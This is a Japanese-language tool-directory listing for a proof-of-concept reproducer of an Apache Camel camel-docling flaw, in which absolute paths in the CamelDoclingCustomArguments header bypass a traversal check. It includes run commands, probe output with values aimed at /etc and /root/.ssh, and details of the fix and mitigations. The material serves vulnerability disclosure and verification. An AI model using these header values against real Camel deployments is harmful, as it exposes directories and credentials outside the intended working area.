Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-95628 — CVE-2026-95628 の実行可能な概念実証リプロデューサー。Apache Camel camel-docling における絶対パス検証の欠落を対象とし、Spring Boot と Quarkus のハーネス、および修正の検証を含む。 | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-95628
防御ツール脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育
GitHuboscerd/cve-2026-95628

CVE-2026-95628

CVE-2026-95628 の実行可能な概念実証リプロデューサー。Apache Camel camel-docling における絶対パス検証の欠落を対象とし、Spring Boot と Quarkus のハーネス、および修正の検証を含む。

リポジトリを見る
1日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-95628 — camel-docling: validatePathSafety が絶対パスを拒否しなかった(CVE-2026-40047 の不完全な修正)

Apache Camel の脆弱性に対する実行可能な概念実証(PoC)再現プログラムです。この脆弱性では、CVE-2026-40047 の修正で導入されたカスタム引数のパスチェックが、相対的なトラバーサルのみを対象としていました。../ を含む値や、正規化後も .. 要素が残る値を拒否していましたが、値が絶対パスであるかどうかは一切チェックしておらず、トラバーサルセグメントを含まない絶対パスにはどちらも該当しません。

ランタイムディレクトリスタック
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-docling 4.22.1
Camel Quarkuscamel-quarkus/Camel Quarkus 3.39.0(Quarkus 3.39.0、Camel 4.22.0)

実行方法

cd camel-spring-boot          # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down

影響を受けるビルドでの出力(両ランタイムで同一):

1) A relative traversal value, which the CVE-2026-40047 fix does reject
     header CamelDoclingCustomArguments = [--artifacts-path, ../../../../etc]
     REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence

2) Traversal hidden behind redundant separators - also rejected (normalized first)
     header CamelDoclingCustomArguments = [--artifacts-path, models/./../../../../etc]
     REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 contains a relative path traversal sequence

3) An ABSOLUTE path, which contains no traversal sequence at all
     header CamelDoclingCustomArguments = [--artifacts-path, /etc]
     argv docling received: --artifacts-path /etc --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp

4) The same, attached to the flag after an equals sign
     header CamelDoclingCustomArguments = [--artifacts-path=/root/.ssh]
     argv docling received: --artifacts-path=/root/.ssh --to md --ocr-lang en --output /tmp/docling-... /tmp/docling-.../docling-....tmp

>>> PROVEN: ...

プローブ1と2は、CVE-2026-40047の修正が機能していることを示しています。プローブ3と4がギャップです。このフラグはその修正の許可リストに含まれており(--artifacts-path はdoclingにモデルアーティファクトの場所を伝えます)、値は両方の引数形式で通過してしまいます — フラグの後に続く別個のリスト要素として、また = の後に付加される形として。したがって、カスタム引数を選択できる当事者は、doclingプロセスを、Camelプロセスがアクセスできる任意のディレクトリ(チェックがパス値を留めようとしていた作業ディレクトリの外)に向けることができ、これはまさに以前の修正が防ごうとしていた結果です。

どのように組み込まれているか

doclingのインストールは不要です。欠陥はCamelが構築するコマンドラインにあるため、エンドポイントの doclingCommand オプションは、渡された引数ベクトルをファイルに書き出す記録用のCLIスタンドインを指します。実際の DoclingProducer、実際の validateCustomArguments()、実際の validatePathSafety() が実行され、外部ツールのみが置き換えられます。

カスタム引数をdoclingに渡すのは、デフォルトであるCLIモードのみです。

到達可能性

CamelDoclingCustomArguments はCamelのヘッダー名前空間に属しており、Camelのデフォルトのヘッダーフィルタリングを適用するコンシューマー(たとえばJMSやKafkaのコンシューマー)は、受信メッセージからこれを除去します。したがって、この問題に到達するのは、ルートが外部から影響を受けた値をヘッダーに転送する場合、またはコンシューマーがそのフィルタリングなしで受信ヘッダーをマッピングする場合です。

脆弱性の概要

プロパティ値
コンポーネントcamel-docling (DoclingProducer.validatePathSafety())
CWECWE-22 (パス名の制限ディレクトリへの不適切な制限)
深刻度中
攻撃ベクトルCamelDoclingCustomArguments 内の許可リストに載っているパス風フラグの値としての絶対パス
影響doclingプロセスを、Camelプロセスがアクセスできる任意のディレクトリに向ける
影響を受けるバージョン4.15.0から4.18.5未満、4.19.0から4.22.2未満
修正済みバージョン4.18.5、4.22.2、4.23.0
JIRACAMEL-24893
クレジットZhixi "Jace" Sun、独立系セキュリティ研究者

アドバイザリ: https://camel.apache.org/security/CVE-2026-95628.html

関連: これは CVE-2026-40047 の不完全な修正であり、同じコンポーネントの出力パスヘッダーは CVE-2026-95629 です。

修正内容

validatePathSafety は、絶対パスであるパス風のカスタム引数値も拒否するようになり、引数が絶対パスであってはならないという IllegalArgumentException でエクスチェンジを失敗させます。このチェックはすべてのパス風の値を検証する共有ヘルパー内にあるため、両方の引数形式がカバーされます。

main では apache/camel#26738 (fd3bc8e7) で修正され、camel-4.22.x には #26743 (e9233c37) で、camel-4.18.x には #26744 (59d30af1) でバックポートされました。

修正済みビルドの確認

camel.version を 4.22.2 に設定して再度実行します。4.22.1 → 4.22.2 で検証済み:

3) An ABSOLUTE path, which contains no traversal sequence at all
     REJECTED by Camel: IllegalArgumentException: Custom argument at index 1 must not be an absolute path

4) The same, attached to the flag after an equals sign
     REJECTED by Camel: IllegalArgumentException: Custom argument at index 0 must not be an absolute path

>>> NOT reproduced: the absolute path was rejected too.

アップグレードせずに緩和する方法

デプロイメントの外部に由来する値から CamelDoclingCustomArguments を構築しないこと。外部から到着するメッセージが docling エンドポイントに到達する前に、そのヘッダーをメッセージから除去すること。そして、受信ヘッダーをマッピングするコンシューマーが Camel ヘッダーの名前空間を破棄するようにし、カスタム引数を選択するのはルートのみとなるようにすること。

免責事項

このリポジトリは教育および防御目的で公開されています。Apache Camel ユーザーが脆弱性を理解し、影響を受けているかどうかを確認し、アップグレードによって解決されることを確証できるようにするためです。所有または運用していないシステムに対してこの資料を使用しないでください。

ツールをダウンロード